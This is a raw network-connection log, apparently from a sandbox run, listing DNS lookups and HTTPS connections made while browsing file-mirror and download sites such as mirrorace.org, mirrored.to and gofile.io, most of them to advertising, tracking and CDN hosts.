US 8.8.8.8:53 connect-metrics-collector.s-onetag.com udp
NL 52.222.139.35:443 tags.crwdcntrl.net tcp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
US 8.8.8.8:53 a.dtssrv.com udp
US 172.64.203.38:443 a.dtssrv.com tcp
US 8.8.8.8:53 a.dtssrv.com udp
US 8.8.8.8:53 a.dtssrv.com udp
US 8.8.8.8:53 130.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 31.181.83.99.in-addr.arpa udp
US 172.64.203.38:443 a.dtssrv.com udp
US 8.8.8.8:53 mirrorace.org udp
US 172.67.145.135:443 mirrorace.org tcp
US 8.8.8.8:53 mirrorace.org udp
US 8.8.8.8:53 mirrorace.org udp
US 172.67.145.135:443 mirrorace.org udp
US 8.8.8.8:53 challenges.cloudflare.com udp
US 104.17.3.184:443 challenges.cloudflare.com tcp
US 8.8.8.8:53 challenges.cloudflare.com udp
US 8.8.8.8:53 135.145.67.172.in-addr.arpa udp
US 8.8.8.8:53 challenges.cloudflare.com udp
US 104.17.3.184:443 challenges.cloudflare.com udp
US 8.8.8.8:53 184.3.17.104.in-addr.arpa udp
US 8.8.8.8:53 missitzantiot.com udp
US 8.8.8.8:53 platform.bidgear.com udp
NL 142.91.159.147:443 missitzantiot.com tcp
US 8.8.8.8:53 missitzantiot.com udp
US 172.67.74.36:443 platform.bidgear.com tcp
US 8.8.8.8:53 platform.bidgear.com udp
US 8.8.8.8:53 platform.bidgear.com udp
US 8.8.8.8:53 missitzantiot.com udp
US 8.8.8.8:53 shortlyamusement.com udp
US 8.8.8.8:53 tags.h12-media.com udp
US 8.8.8.8:53 imp9.bidgear.com udp
US 8.8.8.8:53 ad.a-ads.com udp
DE 148.251.1.246:443 ad.a-ads.com tcp
US 8.8.8.8:53 ad.a-ads.com udp
GB 154.51.131.137:443 tags.h12-media.com tcp
US 8.8.8.8:53 tags.h12-media.com udp
US 8.8.8.8:53 imp9.bidgear.com udp
US 172.67.74.36:443 imp9.bidgear.com tcp
US 8.8.8.8:53 ad.a-ads.com udp
US 8.8.8.8:53 tags.h12-media.com udp
US 8.8.8.8:53 imp9.bidgear.com udp
US 8.8.8.8:53 147.159.91.142.in-addr.arpa udp
US 8.8.8.8:53 36.74.67.172.in-addr.arpa udp
US 8.8.8.8:53 137.131.51.154.in-addr.arpa udp
US 8.8.8.8:53 246.1.251.148.in-addr.arpa udp
US 8.8.8.8:53 f.h12-media.com udp
DE 136.243.11.250:443 static.a-ads.com tcp
US 172.64.162.20:443 f.h12-media.com tcp
US 8.8.8.8:53 f.h12-media.com udp
US 8.8.8.8:53 f.h12-media.com udp
US 173.233.137.60:443 shortlyamusement.com tcp
US 8.8.8.8:53 shortlyamusement.com udp
US 8.8.8.8:53 shortlyamusement.com udp
US 172.64.162.20:443 f.h12-media.com udp
US 8.8.8.8:53 simplewebanalysis.com udp
US 8.8.8.8:53 bradleyscannertortoise.com udp
US 192.243.59.20:443 bradleyscannertortoise.com tcp
US 8.8.8.8:53 bradleyscannertortoise.com udp
US 3.233.124.92:443 simplewebanalysis.com tcp
US 8.8.8.8:53 simplewebanalysis.com udp
US 8.8.8.8:53 simplewebanalysis.com udp
US 8.8.8.8:53 bradleyscannertortoise.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
NL 142.250.102.155:443 stats.g.doubleclick.net tcp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
NL 142.250.102.155:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 ads.pubmatic.com udp
US 8.8.8.8:53 pbjs.e-planning.net udp
US 8.8.8.8:53 prebid.a-mo.net udp
US 8.8.8.8:53 ghb.adtelligent.com udp
US 8.8.8.8:53 bidder.criteo.com udp
US 8.8.8.8:53 bidder.h12-media.com udp
US 8.8.8.8:53 pbjs.e-planning.net udp
GB 154.51.131.137:443 bidder.h12-media.com tcp
US 172.98.26.246:443 pbjs.e-planning.net tcp
US 8.8.8.8:53 pbjs.e-planning.net udp
US 23.227.137.154:443 ghb.adtelligent.com tcp
US 8.8.8.8:53 ghb-adtelligent-com.geodns.me udp
US 147.75.195.77:443 prebid.a-mo.net tcp
US 74.119.119.129:443 bidder.criteo.com tcp
NL 104.81.141.9:443 ads.pubmatic.com tcp
US 8.8.8.8:53 ny5-prebid.a-mx.net udp
US 8.8.8.8:53 ghb-adtelligent-com.geodns.me udp
US 8.8.8.8:53 bidder.va1.vip.prod.criteo.com udp
US 8.8.8.8:53 20.162.64.172.in-addr.arpa udp
US 8.8.8.8:53 250.11.243.136.in-addr.arpa udp
US 8.8.8.8:53 92.124.233.3.in-addr.arpa udp
US 8.8.8.8:53 20.59.243.192.in-addr.arpa udp
US 8.8.8.8:53 155.102.250.142.in-addr.arpa udp
US 8.8.8.8:53 60.137.233.173.in-addr.arpa udp
US 8.8.8.8:53 9.141.81.104.in-addr.arpa udp
US 8.8.8.8:53 ny5-prebid.a-mx.net udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 image6.pubmatic.com udp
US 8.8.8.8:53 pugm33000-fpb.pubmnet.com udp
US 8.8.8.8:53 cdn.cloudimagesb.com udp
NL 45.133.44.9:443 cdn.cloudimagesb.com tcp
US 8.8.8.8:53 cdn10236888.ahacdn.me udp
US 8.8.8.8:53 cdn10236888.ahacdn.me udp
US 8.8.8.8:53 widgets.outbrain.com udp
US 8.8.8.8:53 e10883.g.akamaiedge.net udp
NL 104.81.141.182:443 e10883.g.akamaiedge.net tcp
US 8.8.8.8:53 e10883.g.akamaiedge.net udp
US 8.8.8.8:53 widget-pixels.outbrain.com udp
US 8.8.8.8:53 tcheck.outbrainimg.com udp
NL 104.81.141.182:443 widget-pixels.outbrain.com tcp
US 8.8.8.8:53 e15144.d.akamaiedge.net udp
US 23.36.245.141:443 e15144.d.akamaiedge.net tcp
US 8.8.8.8:53 e15144.d.akamaiedge.net udp
NL 199.232.150.132:443 odb.outbrain.com tcp
US 8.8.8.8:53 outbrain.map.fastly.net udp
US 8.8.8.8:53 outbrain.map.fastly.net udp
US 8.8.8.8:53 77.195.75.147.in-addr.arpa udp
US 8.8.8.8:53 154.137.227.23.in-addr.arpa udp
US 8.8.8.8:53 129.119.119.74.in-addr.arpa udp
US 8.8.8.8:53 9.44.133.45.in-addr.arpa udp
US 8.8.8.8:53 182.141.81.104.in-addr.arpa udp
US 8.8.8.8:53 141.245.36.23.in-addr.arpa udp
US 8.8.8.8:53 mcdp-nldc1.outbrain.com udp
US 8.8.8.8:53 images.outbrainimg.com udp
NL 20.13.96.71:443 mcdp-nldc1.outbrain.com tcp
US 8.8.8.8:53 nldc1.outbrain.org udp
US 23.36.245.141:443 images.outbrainimg.com tcp
US 23.36.245.141:443 images.outbrainimg.com tcp
US 8.8.8.8:53 nldc1.outbrain.org udp
US 8.8.8.8:53 log.outbrainimg.com udp
US 64.202.112.223:443 log.outbrainimg.com tcp
US 8.8.8.8:53 nydc1.outbrain.org udp
US 8.8.8.8:53 nydc1.outbrain.org udp
US 8.8.8.8:53 132.150.232.199.in-addr.arpa udp
US 8.8.8.8:53 71.96.13.20.in-addr.arpa udp
US 8.8.8.8:53 223.112.202.64.in-addr.arpa udp
US 192.243.61.225:443 bradleyscannertortoise.com tcp
US 8.8.8.8:53 smokedhewvalid.com udp
US 8.8.8.8:53 smokedhewvalid.com udp
US 8.8.8.8:53 tags.h12-media.com udp
US 8.8.8.8:53 rock.defybrick.com udp
NL 108.156.60.125:443 rock.defybrick.com tcp
US 8.8.8.8:53 rock.defybrick.com udp
US 8.8.8.8:53 125.60.156.108.in-addr.arpa udp
US 8.8.8.8:53 flint.defybrick.com udp
US 3.227.190.204:443 flint.defybrick.com tcp
US 8.8.8.8:53 flint.defybrick.com udp
US 8.8.8.8:53 flint.defybrick.com udp
US 64.202.112.223:443 log.outbrainimg.com tcp
US 8.8.8.8:53 204.190.227.3.in-addr.arpa udp
US 8.8.8.8:53 nldc1.outbrain.org udp
US 8.8.8.8:53 nydc1.outbrain.org udp
US 8.8.8.8:53 nydc1.outbrain.org udp
US 8.8.8.8:53 idrs.adtelligent.com udp
US 8.8.8.8:53 id.a-mx.com udp
US 74.119.119.139:443 dnacdn.net tcp
US 8.8.8.8:53 sync.adtelligent.com udp
US 8.8.8.8:53 vid.vidoomy.com udp
US 8.8.8.8:53 oeu.vap.lijit.com udp
US 8.8.8.8:53 ups.analytics.yahoo.com udp
US 8.8.8.8:53 x.bidswitch.net udp
US 8.8.8.8:53 ib.adnxs.com udp
US 74.119.119.139:443 dnacdn.net tcp
US 8.8.8.8:53 oeu.vap.lijit.com udp
UA 62.149.0.74:443 idrs.adtelligent.com tcp
US 8.8.8.8:53 image8.pubmatic.com udp
UA 62.149.0.74:443 idrs.adtelligent.com tcp
US 8.8.8.8:53 pixel.rubiconproject.com udp
US 188.114.97.0:443 id.a-mx.com tcp
US 23.227.139.243:443 sync.adtelligent.com tcp
US 8.8.8.8:53 rtb.openx.net udp
NL 143.244.42.33:443 vid.vidoomy.com tcp
US 8.8.8.8:53 idrs.adtelligent.com udp
US 8.8.8.8:53 id.a-mx.com udp
US 8.8.8.8:53 sync-unosync-com.geodns.me udp
US 8.8.8.8:53 idrs.adtelligent.com udp
US 8.8.8.8:53 id.a-mx.com udp
US 8.8.8.8:53 sync-unosync-com.geodns.me udp
US 8.8.8.8:53 1651846316.rsc.cdn77.org udp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
US 188.114.97.0:443 id.a-mx.com udp
US 8.8.8.8:53 c3.a-mo.net udp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
US 8.8.8.8:53 1651846316.rsc.cdn77.org udp
US 8.8.8.8:53 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud udp
US 8.8.8.8:53 pixel.rubiconproject.net.akadns.net udp
US 8.8.8.8:53 rtb.openx.net udp
US 8.8.8.8:53 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud udp
US 104.19.159.19:443 c3.a-mo.net tcp
US 8.8.8.8:53 rtb.openx.net udp
US 8.8.8.8:53 imagesync33000-fpb.pubmnet.com udp
US 8.8.8.8:53 pixel.rubiconproject.net.akadns.net udp
US 8.8.8.8:53 imagesync33000-fpb.pubmnet.com udp
US 8.8.8.8:53 user-data-us-east.bidswitch.net udp
US 8.8.8.8:53 c3.a-mo.net.cdn.cloudflare.net udp
US 8.8.8.8:53 c3.a-mo.net.cdn.cloudflare.net udp
US 8.8.8.8:53 user-data-us-east.bidswitch.net udp
NL 216.52.2.16:443 oeu.vap.lijit.com tcp
US 3.225.218.10:443 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud tcp
US 35.211.178.172:443 user-data-us-east.bidswitch.net tcp
NL 185.89.211.12:443 ib.anycast.adnxs.com tcp
US 104.36.113.110:443 imagesync33000-fpb.pubmnet.com tcp
NL 213.19.162.80:443 pixel.rubiconproject.net.akadns.net tcp
US 35.227.252.103:443 rtb.openx.net tcp
NL 216.52.2.16:443 oeu.vap.lijit.com tcp
US 8.8.8.8:53 dnacdn.net udp
US 8.8.8.8:53 dnacdn.net udp
US 74.119.119.139:443 dnacdn.net tcp
US 8.8.8.8:53 dnacdn.net udp
US 35.227.252.103:443 rtb.openx.net udp
US 23.227.139.243:443 sync-unosync-com.geodns.me tcp
US 23.227.139.243:443 sync-unosync-com.geodns.me tcp
US 8.8.8.8:53 0.97.114.188.in-addr.arpa udp
US 8.8.8.8:53 33.42.244.143.in-addr.arpa udp
US 8.8.8.8:53 cm.adform.net udp
US 8.8.8.8:53 74.0.149.62.in-addr.arpa udp
US 8.8.8.8:53 243.139.227.23.in-addr.arpa udp
US 8.8.8.8:53 19.159.19.104.in-addr.arpa udp
US 8.8.8.8:53 12.211.89.185.in-addr.arpa udp
US 8.8.8.8:53 80.162.19.213.in-addr.arpa udp
US 8.8.8.8:53 103.252.227.35.in-addr.arpa udp
US 8.8.8.8:53 10.218.225.3.in-addr.arpa udp
US 8.8.8.8:53 172.178.211.35.in-addr.arpa udp
US 8.8.8.8:53 110.113.36.104.in-addr.arpa udp
DK 37.157.3.20:443 cm.adform.net tcp
US 8.8.8.8:53 track-eu.adformnet.akadns.net udp
US 8.8.8.8:53 track-eu.adformnet.akadns.net udp
US 8.8.8.8:53 20.3.157.37.in-addr.arpa udp
US 64.202.112.223:443 log.outbrainimg.com tcp
US 74.119.119.131:443 static.va1.vip.prod.criteo.net tcp
US 8.8.8.8:53 static.va1.vip.prod.criteo.net udp
US 74.119.119.131:443 static.va1.vip.prod.criteo.net tcp
US 8.8.8.8:53 gbc5.va.us.criteo.com udp
US 185.235.85.167:443 gbc5.va.us.criteo.com tcp
US 185.235.85.210:443 gbc7.va.us.criteo.com tcp
US 8.8.8.8:53 images.outbrainimg.com udp
US 8.8.8.8:53 e15144.d.akamaiedge.net udp
US 8.8.8.8:53 e15144.d.akamaiedge.net udp
US 8.8.8.8:53 widgets.outbrain.com udp
US 8.8.8.8:53 tags.h12-media.com udp
US 8.8.8.8:53 e10883.g.akamaiedge.net udp
US 8.8.8.8:53 e10883.g.akamaiedge.net udp
US 173.233.137.60:443 smokedhewvalid.com tcp
US 8.8.8.8:53 ryepublisher.com udp
US 173.233.137.36:443 ryepublisher.com tcp
US 8.8.8.8:53 ryepublisher.com udp
US 8.8.8.8:53 ryepublisher.com udp
US 8.8.8.8:53 36.137.233.173.in-addr.arpa udp
US 8.8.8.8:53 ads.pubmatic.com udp
US 8.8.8.8:53 prebid.a-mo.net udp
US 172.98.26.246:443 pbjs.e-planning.net tcp
US 8.8.8.8:53 ny5-prebid.a-mx.net udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 bidder.criteo.com udp
US 74.119.119.129:443 bidder.criteo.com tcp
US 8.8.8.8:53 log.outbrainimg.com udp
US 8.8.8.8:53 nydc1.outbrain.org udp
US 64.202.112.223:443 log.outbrainimg.com tcp
US 8.8.8.8:53 widget-pixels.outbrain.com udp
US 64.202.112.223:443 log.outbrainimg.com tcp
US 64.202.112.223:443 log.outbrainimg.com tcp
US 74.119.119.139:443 dnacdn.net tcp
US 74.119.119.139:443 dnacdn.net tcp
US 185.235.85.167:443 gbc5.va.us.criteo.com tcp
US 185.235.85.210:443 gbc7.va.us.criteo.com tcp
US 8.8.8.8:53 a4p.adpartner.pro udp
US 8.8.8.8:53 vid.vidoomy.com udp
PL 51.83.220.94:443 a4p.adpartner.pro tcp
US 8.8.8.8:53 a4p.adpartner.pro udp
US 8.8.8.8:53 1651846316.rsc.cdn77.org udp
US 8.8.8.8:53 a4p.adpartner.pro udp
US 8.8.8.8:53 1651846316.rsc.cdn77.org udp
US 8.8.8.8:53 ssum.casalemedia.com udp
US 8.8.8.8:53 fr-xn.lb.indexww.com udp
NL 216.52.2.16:443 oeu.vap.lijit.com tcp
CA 185.80.39.216:443 ssum.casalemedia.com tcp
US 8.8.8.8:53 ssbsync-global.smartadserver.com udp
FR 185.86.138.153:443 ssbsync-global.smartadserver.com tcp
US 8.8.8.8:53 ssbsync-itx5.smartadserver.com udp
US 8.8.8.8:53 ssbsync-itx5.smartadserver.com udp
US 8.8.8.8:53 94.220.83.51.in-addr.arpa udp
US 8.8.8.8:53 216.39.80.185.in-addr.arpa udp
US 8.8.8.8:53 153.138.86.185.in-addr.arpa udp
US 8.8.8.8:53 pb-am.a-mo.net udp
NL 147.75.84.158:443 pb-am.a-mo.net tcp
US 8.8.8.8:53 pb-am.a-mo.net udp
US 8.8.8.8:53 pb-am.a-mo.net udp
NL 185.89.211.12:443 ib.anycast.adnxs.com tcp
US 8.8.8.8:53 158.84.75.147.in-addr.arpa udp
US 74.119.119.131:443 static.va1.vip.prod.criteo.net tcp
US 8.8.8.8:53 wooseotools.com udp
US 8.8.8.8:53 wooseotools.com udp
US 104.21.43.22:443 wooseotools.com tcp
US 8.8.8.8:53 wooseotools.com udp
US 104.21.43.22:443 wooseotools.com udp
US 8.8.8.8:53 22.43.21.104.in-addr.arpa udp
NL 142.251.36.6:443 static.doubleclick.net tcp
US 74.119.119.131:443 static.va1.vip.prod.criteo.net tcp
NL 142.251.36.6:443 static.doubleclick.net udp
NL 142.251.36.2:443 partner46.googleadservices.com tcp
NL 142.251.36.2:443 partner46.googleadservices.com udp
NL 142.250.179.206:443 www3.l.google.com tcp
NL 142.251.36.1:443 tpc.googlesyndication.com tcp
NL 142.251.36.2:443 partner46.googleadservices.com tcp
NL 142.250.179.206:443 www3.l.google.com udp
NL 142.251.36.1:443 tpc.googlesyndication.com udp
NL 142.251.36.2:443 partner46.googleadservices.com udp
US 8.8.8.8:53 csm.va.us.criteo.net udp
US 8.8.8.8:53 csm.va1.vip.prod.criteo.net udp
US 8.8.8.8:53 csm.va1.vip.prod.criteo.net udp
US 74.119.119.149:443 csm.va1.vip.prod.criteo.net tcp
US 8.8.8.8:53 149.119.119.74.in-addr.arpa udp
US 8.8.8.8:53 www.mirrored.to udp
RO 91.195.99.122:443 www.mirrored.to tcp
US 8.8.8.8:53 mirrored.to udp
US 8.8.8.8:53 mirrored.to udp
RO 91.195.99.122:443 mirrored.to tcp
US 8.8.8.8:53 ajax.googleapis.com udp
US 8.8.8.8:53 d38190um0l9h9v.cloudfront.net udp
RO 91.195.99.122:443 mirrored.to tcp
NL 142.250.179.202:443 ajax.googleapis.com tcp
US 8.8.8.8:53 ajax.googleapis.com udp
US 8.8.8.8:53 d38190um0l9h9v.cloudfront.net udp
US 8.8.8.8:53 ajax.googleapis.com udp
NL 13.227.211.97:443 d38190um0l9h9v.cloudfront.net tcp
US 8.8.8.8:53 d38190um0l9h9v.cloudfront.net udp
NL 142.250.179.202:443 ajax.googleapis.com udp
US 8.8.8.8:53 pogothere.xyz udp
US 8.8.8.8:53 ginnyweakeland.info udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 accounts.google.com udp
US 188.114.96.0:443 pogothere.xyz tcp
US 8.8.8.8:53 pogothere.xyz udp
US 188.114.96.0:443 pogothere.xyz tcp
US 188.114.96.0:443 pogothere.xyz tcp
US 8.8.8.8:53 accounts.google.com udp
NL 142.250.179.141:443 accounts.google.com tcp
NL 142.250.179.141:443 accounts.google.com tcp
NL 52.222.139.68:443 ginnyweakeland.info tcp
US 8.8.8.8:53 ginnyweakeland.info udp
NL 52.222.139.68:443 ginnyweakeland.info tcp
NL 52.222.139.68:443 ginnyweakeland.info tcp
NL 52.222.139.68:443 ginnyweakeland.info tcp
US 172.64.108.33:443 ektobedirectuklyec.info tcp
US 172.64.108.33:443 ektobedirectuklyec.info tcp
US 8.8.8.8:53 pogothere.xyz udp
US 8.8.8.8:53 ginnyweakeland.info udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 188.114.96.0:443 pogothere.xyz tcp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 188.114.96.0:443 pogothere.xyz udp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 122.99.195.91.in-addr.arpa udp
US 8.8.8.8:53 97.211.227.13.in-addr.arpa udp
US 8.8.8.8:53 68.139.222.52.in-addr.arpa udp
US 8.8.8.8:53 33.108.64.172.in-addr.arpa udp
US 172.64.108.33:443 ektobedirectuklyec.info udp
NL 157.240.247.35:443 www.facebook.com tcp
NL 157.240.247.35:443 www.facebook.com udp
NL 142.250.102.155:443 stats.g.doubleclick.net tcp
NL 142.250.102.155:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 35.247.240.157.in-addr.arpa udp
NL 52.222.139.4:443 ginnyweakeland.info tcp
US 8.8.8.8:53 apparatusflag.website udp
US 172.67.218.154:443 apparatusflag.website tcp
US 8.8.8.8:53 apparatusflag.website udp
US 8.8.8.8:53 apparatusflag.website udp
US 172.67.218.154:443 apparatusflag.website udp
US 8.8.8.8:53 getmyfiled.com udp
US 104.21.14.67:443 getmyfiled.com tcp
US 8.8.8.8:53 getmyfiled.com udp
US 8.8.8.8:53 getmyfiled.com udp
US 104.21.14.67:443 getmyfiled.com udp
US 8.8.8.8:53 yourjsdelivery.com udp
US 8.8.8.8:53 code.jquery.com udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 nostop.go2cloud.org udp
US 8.8.8.8:53 154.218.67.172.in-addr.arpa udp
US 8.8.8.8:53 67.14.21.104.in-addr.arpa udp
US 172.67.74.130:443 yourjsdelivery.com tcp
US 8.8.8.8:53 yourjsdelivery.com udp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 code.jquery.com udp
US 69.16.175.10:443 code.jquery.com tcp
US 34.198.147.111:443 nostop.go2cloud.org tcp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 yourjsdelivery.com udp
US 8.8.8.8:53 code.jquery.com udp
US 8.8.8.8:53 nostop.go2cloud.org udp
US 8.8.8.8:53 nostop.go2cloud.org udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 130.74.67.172.in-addr.arpa udp
US 8.8.8.8:53 10.175.16.69.in-addr.arpa udp
US 8.8.8.8:53 111.147.198.34.in-addr.arpa udp
US 8.8.8.8:53 www.7-zip.org udp
DE 49.12.202.237:443 www.7-zip.org tcp
US 8.8.8.8:53 www.7-zip.org udp
US 8.8.8.8:53 trk.playstretch.host udp
US 8.8.8.8:53 www.7-zip.org udp
US 54.159.109.117:443 trk.playstretch.host tcp
US 8.8.8.8:53 nostop-elb1.go2cloud.org udp
US 8.8.8.8:53 nostop-elb1.go2cloud.org udp
US 8.8.8.8:53 237.202.12.49.in-addr.arpa udp
US 8.8.8.8:53 ginnyweakeland.info udp
US 8.8.8.8:53 dist.ambrs.online udp
US 8.8.8.8:53 dry-iguana-mk567mbcafco5js48ghxnitf.herokudns.com udp
US 54.91.59.199:443 dry-iguana-mk567mbcafco5js48ghxnitf.herokudns.com tcp
US 8.8.8.8:53 dry-iguana-mk567mbcafco5js48ghxnitf.herokudns.com udp
US 8.8.8.8:53 support.mozilla.org udp
US 8.8.8.8:53 prod.sumo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.sumo.prod.webservices.mozgcp.net udp
RO 91.195.99.122:443 mirrored.to tcp
US 8.8.8.8:53 mirrored.to udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
NL 142.250.179.202:443 ajax.googleapis.com udp
US 8.8.8.8:53 cdn.fuseplatform.net udp
RO 91.195.99.122:443 mirrored.to tcp
RO 91.195.99.122:443 mirrored.to tcp
US 8.8.8.8:53 a1956.dscr.akamai.net udp
NL 23.72.252.160:443 a1956.dscr.akamai.net tcp
US 8.8.8.8:53 a1956.dscr.akamai.net udp
US 8.8.8.8:53 cmp.quantcast.com udp
US 8.8.8.8:53 c.amazon-adsystem.com udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 securepubads46.g.doubleclick.net udp
NL 13.227.219.121:443 cmp.quantcast.com tcp
US 8.8.8.8:53 cmp.quantcast.com udp
US 8.8.8.8:53 securepubads46.g.doubleclick.net udp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
NL 52.222.136.109:443 d1ykf07e75w7ss.cloudfront.net tcp
US 8.8.8.8:53 160.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 121.219.227.13.in-addr.arpa udp
US 8.8.8.8:53 109.136.222.52.in-addr.arpa udp
NL 52.222.136.109:443 d1ykf07e75w7ss.cloudfront.net tcp
NL 13.227.219.121:443 cmp.quantcast.com tcp
RO 91.195.99.122:443 mirrored.to tcp
RO 91.195.99.122:443 mirrored.to tcp
RO 91.195.99.122:443 mirrored.to tcp
US 151.101.1.229:443 jsdelivr.map.fastly.net tcp
US 8.8.8.8:53 cdn.id5-sync.com udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 291d110e8254c2a0dacc16973c0dd889.safeframe.googlesyndication.com udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 cdn-ima.33across.com.cdn.cloudflare.net udp
NL 142.250.179.161:443 291d110e8254c2a0dacc16973c0dd889.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 cdn-ima.33across.com.cdn.cloudflare.net udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 pagead-googlehosted.l.google.com udp
US 8.8.8.8:53 cdn.id5-sync.com udp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
US 8.8.8.8:53 pagead-googlehosted.l.google.com udp
US 8.8.8.8:53 cdn.id5-sync.com udp
NL 142.250.179.161:443 pagead-googlehosted.l.google.com udp
US 172.67.38.106:443 cdn.id5-sync.com tcp
US 34.96.70.87:443 invstatic101.creativecdn.com tcp
NL 52.222.139.112:443 tags.crwdcntrl.net tcp
US 74.119.119.131:443 static.va1.vip.prod.criteo.net tcp
US 104.18.24.112:443 cdn-ima.33across.com.cdn.cloudflare.net tcp
US 8.8.8.8:53 apis.cmp.quantcast.com udp
US 8.8.8.8:53 apis.cmp.quantcast.com udp
US 34.227.252.114:443 apis.cmp.quantcast.com tcp
US 8.8.8.8:53 apis.cmp.quantcast.com udp
US 34.96.70.87:443 invstatic101.creativecdn.com udp
US 34.227.252.114:443 apis.cmp.quantcast.com tcp
US 8.8.8.8:53 id5-sync.com udp
US 3.84.175.74:443 bcp.crwdcntrl.net tcp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
US 8.8.8.8:53 112.24.18.104.in-addr.arpa udp
DE 141.95.98.64:443 id5-sync.com tcp
US 8.8.8.8:53 id5-sync.com udp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
US 8.8.8.8:53 id5-sync.com udp
NL 142.251.36.1:443 tpc.googlesyndication.com tcp
NL 142.251.36.1:443 tpc.googlesyndication.com tcp
NL 142.251.36.2:443 partner46.googleadservices.com tcp
NL 142.251.36.1:443 tpc.googlesyndication.com udp
NL 142.251.36.2:443 partner46.googleadservices.com udp
US 74.119.119.139:443 dnacdn.net tcp
US 74.119.119.139:443 dnacdn.net tcp
US 8.8.8.8:53 dnacdn.net udp
US 8.8.8.8:53 gbc5.va.us.criteo.com udp
US 8.8.8.8:53 gbc7.va.us.criteo.com udp
US 8.8.8.8:53 114.252.227.34.in-addr.arpa udp
US 8.8.8.8:53 64.98.95.141.in-addr.arpa udp
US 8.8.8.8:53 74.175.84.3.in-addr.arpa udp
US 185.235.85.167:443 gbc5.va.us.criteo.com tcp
US 185.235.85.210:443 gbc7.va.us.criteo.com tcp
US 8.8.8.8:53 cdn.ampproject.org udp
NL 142.250.179.161:443 cdn.ampproject.org tcp
US 8.8.8.8:53 cdn-content.ampproject.org udp
NL 142.250.179.161:443 cdn-content.ampproject.org tcp
NL 142.250.179.161:443 cdn-content.ampproject.org tcp
NL 142.250.179.161:443 cdn-content.ampproject.org tcp
NL 142.250.179.161:443 cdn-content.ampproject.org tcp
US 8.8.8.8:53 cdn-content.ampproject.org udp
NL 142.250.179.161:443 cdn-content.ampproject.org udp
US 8.8.8.8:53 81.171.91.138.in-addr.arpa udp
US 8.8.8.8:53 remintsmuggy.com udp
NL 142.91.159.185:443 remintsmuggy.com tcp
US 8.8.8.8:53 remintsmuggy.com udp
US 8.8.8.8:53 185.159.91.142.in-addr.arpa udp
US 8.8.8.8:53 remintsmuggy.com udp
US 8.8.8.8:53 5bbf7d2fdf7e07d478324ff00c25a177.safeframe.googlesyndication.com udp
NL 142.250.179.161:443 5bbf7d2fdf7e07d478324ff00c25a177.safeframe.googlesyndication.com tcp
NL 142.250.179.161:443 5bbf7d2fdf7e07d478324ff00c25a177.safeframe.googlesyndication.com udp
US 8.8.8.8:53 cdn.fuseplatform.net udp
US 8.8.8.8:53 cdn.ampproject.org udp
US 8.8.8.8:53 a1956.dscr.akamai.net udp
US 8.8.8.8:53 a1956.dscr.akamai.net udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 ac2614ba3b236a34afbc98c3856d5e29.safeframe.googlesyndication.com udp
NL 142.250.179.161:443 ac2614ba3b236a34afbc98c3856d5e29.safeframe.googlesyndication.com tcp
NL 142.250.179.161:443 ac2614ba3b236a34afbc98c3856d5e29.safeframe.googlesyndication.com udp
US 8.8.8.8:53 gofile.io udp
FR 151.80.29.83:443 gofile.io tcp
US 8.8.8.8:53 gofile.io udp
US 8.8.8.8:53 gofile.io udp
US 8.8.8.8:53 83.29.80.151.in-addr.arpa udp
US 8.8.8.8:53 api.gofile.io udp
FR 51.38.43.18:443 api.gofile.io tcp
US 8.8.8.8:53 api.gofile.io udp
US 8.8.8.8:53 api.gofile.io udp
US 8.8.8.8:53 plausible.gofile.io udp
FR 149.202.85.166:443 plausible.gofile.io tcp
US 8.8.8.8:53 admin.gofile.io udp
US 8.8.8.8:53 ad.a-ads.com udp
US 8.8.8.8:53 a.pub.network udp
DE 148.251.152.47:443 ad.a-ads.com tcp
US 8.8.8.8:53 ad.a-ads.com udp
